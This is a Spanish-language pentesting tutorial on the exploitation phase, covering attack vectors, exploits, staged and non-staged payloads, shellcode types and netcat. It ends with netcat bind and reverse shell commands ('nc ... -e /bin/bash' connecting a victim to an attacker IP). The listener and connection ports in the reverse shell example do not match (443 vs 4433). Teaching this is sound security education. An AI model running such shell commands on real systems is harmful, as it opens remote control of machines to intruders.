Fase de explotación de vulnerabilidades (Exploitation)

La fase de explotación de vulnerabilidades se realiza después de realizar la fase de escaneo.

Tras la identificación de vulnerabilidades en los servicios localizados en las fases anteriores, el siguiente paso es explotarlas con el objetivo de mostrar el riesgo real de la vulnerabilidad en base a la confidencialidad, integridad y disponibilidad de la información.

Para ello se utilizarán herramientas específicas de explotación que se aprovecharán de ciertos vectores de ataque para realizar el compromiso inicial en un sistema remoto.

El siguiente gráfico muestra la cadena de explotación en la que trabajaremos para conseguir el compromiso de un sistema remoto.

Vectores de ataque
Aunque el vector más común de ataque consiste en la explotación de una vulnerabilidad, no es el único vector que nos puede dar acceso a un equipo remoto. A continuación, realizamos una enumeración de los más importantes:

  • Explotación de una vulnerabilidad conocida: Es el vector de ataque más común utilizado para la explotación. En este caso, los atacantes tras realizar una fase de enumeración y de escaneo completa, localizan la presencia de algún sistema que se encuentre afectado por una vulnerabilidad conocida. De esta manera se hace uso de un exploit específico, junto con un payload, para la vulnerabilidad concreta que nos permitiría ejecutar órdenes no autorizadas en el sistema remoto.
  • Ejecución de un programa malintencionado (Malware): También conocido como malware consiste en generar un payload o shellcode en un formato ejecutable o camuflado dentro de un programa legítimo. Este programa se puede distribuir de distintas maneras a las víctimas, pero siempre está condicionado a un factor de ingeniería social para que la víctima ejecute el malware. Por ejemplo, esconder el payload en una macro de Excel y enviar un correo masivo a los empleados de una compañía engañándolos para que crean que en el Excel está la relación de subidas salariales.
  • Contraseñas por defecto o poco robustas: Este es un vector de acceso muy común debido a que cierto software y dispositivos de red se despliegan con una contraseña por defecto establecida por el fabricante. Si esta contraseña no se modifica, puede ser utilizada por un atacante para ingresar en el sistema. Por otro lado, el establecimiento de contraseñas catalogadas como inseguras, o muy fáciles de adivinar, también entrarían dentro de esta categoría. Además, un atacante podría utilizar técnicas de fuerza bruta junto con un diccionario de posibles contraseñas para conseguir las credenciales de acceso.
  • Ejecución remota de comandos: Esta vulnerabilidad puede encontrarse cuando se auditan aplicaciones web, móviles, APIS, etc. Y se descubre que abusando de una determinada funcionalidad legítima se puede llegar a ejecutar comandos en el servidor remoto.

Concepto de Exploit
Un exploit es un software, pequeña aplicación o script que permite aprovecharse de un defecto de seguridad (Configuración incorrecta en el sistema, contraseñas débiles o por defecto) o explotar un fallo en el sistema (Fallo en el software, sistema o dispositivo afectado que pueda dar lugar a un problema de seguridad).

La ejecución satisfactoria de un exploit puede generar una serie de riesgos de seguridad:

  • Denegación o degradación del servicio
  • Corrupción de información
  • Corrupción de la configuración del sistema o servicio
  • Acceso no autorizado
  • Escalada de privilegios

A modo general un exploit pueden catalogarse según los distintos grupos:

Explotables de manera remota
La explotación se hace sobre un sistema remoto al que no se tiene acceso de manera previa.

  • Explotables en el lado del servidor (Server-side): Son aquellos exploits que tienen por objetivo comprometer un servicio que se ejecuta en modo servidor
  • Explotables en el lado del cliente (Client-side): Los exploits de esta categoría afectan al software y programas que se ejecutan en el lado del cliente (programas ofimáticos, navegadores web, clientes de correo).
Explotables de manera local
Necesitamos disponer de privilegios de acceso en el sistema afectado
  • Exploits de escalada de privilegios: Son exploits que se ejecutan de manera local con el objetivo de conseguir un mayor nivel de acceso en el sistema.
Partes de un exploit
Todo exploit consta de dos partes bien diferenciadas, las cuales detallamos a continuación:
  • Exploit: Es el código encargado de explotar la vulnerabilidad mediante la ejecución de instrucciones en la víctima afectada por la vulnerabilidad.
  • Payload: Es el código o set de instrucciones que se ejecutan una vez explotada la vulnerabilidad y permite ejecutar código no autorizado en el cliente, como por ejemplo la ejecución de una shellcode.
Búsqueda de exploits
Una vez completada la fase de escaneo de vulnerabilidades disponemos de una serie de posibles vulnerabilidades en los sistemas objetivo. En esta fase de explotación se ha de buscar si existe un exploit público, o en su defecto una Prueba de concepto, para la vulnerabilidad concreta que queremos explotar. Para ello se puede hacer uso de las siguientes herramientas.
  • exploit-db
Exploit-db es una base de datos online de búsqueda de vulnerabilidades y exploits para poder comprometer un objetivo. La base de datos se encuentra disponible para su consulta en la siguiente dirección URL (https://www.exploit-db.com/).
  • Github

Aunque GitHub se utiliza como repositorio de código fuente, normalmente también podemos localizar pruebas de concepto de vulnerabilidades, e incluso exploits totalmente funcionales.

  • searchsploit

Es una herramienta disponible para sistemas Linux. Realiza búsquedas de exploits disponibles en una copia local de la Base de Datos mantenida por exploit-db. Además, también te indica dónde se encuentra la copia local del exploit para poder modificarlo y utilizarlo para comprometer el equipo remoto.

  • Metasploit: 
Aunque desarrollaremos con más detenimiento el uso de la herramienta Metasploit en la siguiente entrada de este blog, cabe destacar que la herramienta Metasploit es una suite completa de Explotación y Postexplotación y contiene una gran cantidad de exploits para su consulta y uso.

Concepto de payload
Un payload es la porción de código o instrucciones que se ejecuta inmediatamente después del exploit y que obliga a la víctima a realizar una serie de operaciones. Atendiendo a cómo se transmita este payload a la víctima podemos agrupar los payloads en dos categorías:

  • Non-staged: Se denominan payloads autocontenidos, normalmente se corresponden con la ejecución de un comando muy específico en la víctima para añadir un usuario en el sistema remoto, añadir un usuario a un grupo privilegiado, establecer una conexión secundaria entre víctima y auditor.
  • Staged: En este caso el payload se transmite en varias partes con la finalidad de evitar posibles bloqueos que pudieran realizarse debido a los dispositivos de seguridad existentes en la red. La primera parte que se inyecta en la víctima corresponde a una pequeña porción de código que es ejecutado y espera al envío de la segunda parte del payload. La segunda parte del payload se corresponde con un payload más avanzado como pudiera ser una shellcode avanzada, un servidor de VNC para controlar el sistema remoto, etc.
Se puede distinguir si un payload es staged o non-staged analizando el nombre.
Por ejemplo, windows/shell_reverse_tcp tiene el propósito de abrir una shell reversa, al igual que el payload windows/shell/reverse_tcp. La diferencia es que el primero es autocontenido (non-staged), lo que se indica con el carácter "_" después de la palabra "shell", mientras que el segundo se compone de dos fases, lo que viene indicado por el caracter "/" despues de la palabra "shell".

Es muy comun el error de utilizar netcat como handler para recibir la conexión y utilizar un payload staged, como puede ser windows/shell/reverse_tcp en lugar de windows/shell_reverse_tcp. En este caso, al explotar el sistema, netcat recibirá la conexión pero se cerrará inmediatamente. Esto puede llevar a pensar, erróneamente, que el exploit no funciona correctamente, cuando lo que realmente está sucediendo es que sólo se ha inyectado el stager y esta esperando a recibir el stage. Por tanto, para utilizar un exploit y recibir la conexión en un listener de netcat, sera necesario seleccionar un exploit non-staged.

Shellcode
Una shellcode es un tipo especial de payload que normalmente inicia una Shell de comandos, más o menos avanzada, a través de la cual el auditor puede controlar la máquina comprometida.
 
Tipos de shellcode
Las shellcodes son un tipo determinado de payload (Es decir, existen payloads que no son shellcodes). Dependiendo de la posición del auditor en el sistema objetivo podemos agruparlas en las siguientes categorías:
  • Local: Se utilizan cuando el auditor dispone de acceso a un equipo pero con un acceso limitado y utiliza una vulnerabilidad concreta para ejecutar una shellcode específica que le pudiera proporcionar una escalada de privilegios y obtener un mayor nivel de acceso en el sistema local.
  • Remota: Este tipo de shellcode se utilizan cuando un atacante no dispone de acceso previo al equipo remoto y al ejecutarse la shellcode se establece un canal de comunicación remoto entre el auditor y la víctima.
Por otro lado, dependiendo de como se establece la conexión entre auditor y víctima podemos agruparlas en las siguientes categorías:
  • Bind: Cuando este tipo de shellcodes son ejecutadas en la víctima se inicia un servidor de conexión abriendo un puerto en el equipo comprometido. En este tipo de shellcodes el atacante establece la conexión con el puerto que se ha levantado en la víctima. Sólo son funcionales si nos encontramos en la misma red local que la víctima y no existe ningún firewall que impida la comunicación con el puerto recién levantado en la víctima.
  • Reverse: En este tipo de shellcodes no se inicia ningún servicio en la máquina víctima. Al contrario, es el auditor el que levanta un servidor a la escucha en un puerto determinado y el shellcode en la víctima inicia la conexión en el equipo del auditor y en el puerto apropiado. Dado que en este tipo de shellcode es la víctima quien inicia la conexión en caso de existir algún tipo de dispositivo firewall la conexión no se vería afectada.
Una Shellcode puede categorizarse indicando una categoría de cada grupo. Por ejemplo Una shellcode inversa remota o una Shellcode local de tipo bind.

Netcat

Se trata de una de las herramientas básicas para el pentesting, es una aplicación muy ligera pero tremendamente versátil, por lo que es denominada en ocasiones la "navaja suiza de las herramientas de Hacking". Se desarrolló en 1996 para entornos Unix, aunque con posterioridad fue portada a Windows y MacOS.

El desarrollador liberó netcat bajo una licencia de software libre, de modo que se pueden encontrar otras versiones, aunque la versión original ya no está mantenida. Los desarrolladores de nmap han desarrollado una nueva versión de netcat denominada ncat, que tiene características actualizadas y utiliza prácticamente los mismos comandos, lo que la hace sencilla de utilizar y compatible, de modo que se puede establecer una conexión entre netcat y ncat. Existe otra versión, netcat-openbsd, que es muy limitada y que es la que se encuentra por defecto en los sistemas Linux modernos.

Netcat es, básicamente, una herramienta de red que permite recibir y escribir datos a través de sockets TCP y UDP y funciona tanto en modo cliente como en modo servidor. A pesar de su reducido tamaño tiene las siguientes funcionalidades:
  • Abrir conexiones de red.
  • Transferir archivos entre dos equipos.
  • Realizar escaneos de puertos.
  • Establecer shells en un equipo remoto.
  • Redirigir conexiones.
  • Abrir puertas traseras.
  • En la versión ncat, permite cifrar la conexión.
Netcat pone a disposición del usuario una serie de parámetros para llevar a cabo las distintas acciones. Ncat aumenta el número de estos, por lo que resulta conveniente consultar el manual de la herramienta para profundizar en el conocimiento de la misma.
  • Abrir un puerto para recibir una conexión
Durante un test de penetración existirán múltiples ocasiones donde resultará necesario recibir una conexión en el equipo propio o en algún equipo vulnerado. Dado que netcat también permite su utilización en modo servidor, se trata de una herramienta muy útil para este propósito.

Para entender el funcionamiento es necesario comenzar por la aplicación más básica de esta funcionalidad, que seria establecer una conexión que permita intercambiar mensajes de texto. Para ello es necesario disponer de dos equipos, uno actuará de servidor y ejecutará netcat para permitir conexiones entrantes, mientras que el otro actuará como cliente y utilizará netcat para establecer una conexión con el servidor.

Para este ejemplo se utilizan dos equipos con el sistema operativo Linux, uno con netcat tradicional instalado, que será el que actúe de servidor y el otro con netcat-openbsd:

1º Apertura del listener en el servidor.
En el equipo que actúe corno servidor se abre un puerto utilizando netcat. Para el éxito de la operación es necesario que no haya ningún firewall bloqueando el puerto.

$ nc -nlvp 8080

En el comando anterior se utilizan los siguientes parámetros, que se pueden especificar de manera individual o juntando todos usando un solo guion y sin espacios entre ellos:
  • -n: para que no se realicen búsquedas DNS, su uso no es imprescindible.
  • -1: indica que se abra un listener.
  • -v: modo verbose para que muestre más información, tampoco es necesario.
  • -p: para indicar el puerto en el que escuchará el listener.
2º. Establecimiento de la conexión

La conexión se iniciará desde el cliente, tal y como se indicó en el punto anterior, para lo que será necesario indicar la dirección IP del servidor y el puerto utilizado al abrir el listener, en este caso el 8080.

$ nc -nv 10.10.10.4 8080

Una vez establecida la conexión se muestra un mensaje en el servidor, tras lo que se puede intercambiar mensajes entre ambos equipos.
  • Apertura de shells con netcat
Uno de los usos más comunes de netcat es el establecimiento de shells. Esto se basa en la capacidad que tiene la herramienta para redirigir los mensajes de entrada, salida y error a puertos TCP o UDP, en vez de mostrarse por consola, lo que permite que una aplicación existente en un equipo quede vinculada a un puerto local del equipo. Cuando esto sucede, cualquiera que se conecte a dicho puerto local, realmente estará ejecutando dicha aplicación.

Esto, que a priori puede parecer complicado de entender, se realiza de una manera muy sencilla con netcat, siempre y cuando en el equipo que actúa como víctima se disponga de la versión tradicional o ncat. La principal dificultad se encuentra en conseguir que ejecutar el comando en el equipo víctima, para lo cual existen diversas técnicas (https://www.revshells.com/).

Shell directa (bind shell) con netcat
En el siguiente ejemplo, se establece una bind shell desde un equipo atacante a un servidor en el que se ha abierto un listener.

Para abrir una bind shell se deben seguir los siguientes pasos:

1. En el equipo víctima se abre un listener y se indicará el programa a ejecutar después de la conexión. En el caso de un equipo Linux se indicará una shell, como puede ser /bin/bash. Si se trata de un equipo Windows se indicará cmd o Powershell.

$ nc -nlvp 4433 -e /bin/bash

En este ejemplo se utiliza un nuevo parámetro que no se ha utilizado en el ejemplo anterior:
  • -e: indica el programa que se ejecutará al iniciar la conexión.
2. En el equipo atacante se inicia una conexión.

$ nc 10.10.10.5 4433

Una vez obtenida una shell se pueden ejecutar comandos en el equipo remoto desde el equipo atacante.

Shell reversa (reverse shell) con netcat

En la mayor parte de ocasiones no será posible establecer una bind shell, aunque se logre ejecutar netcat en el equipo víctima, puesto que existirán diversos mecanismos de defensa que impedirán las conexiones entrantes desde equipos externos a la red. Sin embargo, es bastante probable que desde los equipos internos de la red si se permitan las conexiones salientes, lo que daría lugar a lo que se conoce como reverse shell.

Los pasos para abrir una reverse shell son los siguientes:

1. En el equipo atacante se abre un listener.

$ nc -nlvp 443

2. En el equipo víctima se inicia la conexión y se indica el programa a ejecutar después de la conexión.

$ nc 10.10.10.5 4433 -e /bin/bash

Al igual que en el caso de la bind shell, una vez obtenida la shell se pueden ejecutar comandos en el equipo remoto desde el equipo atacante.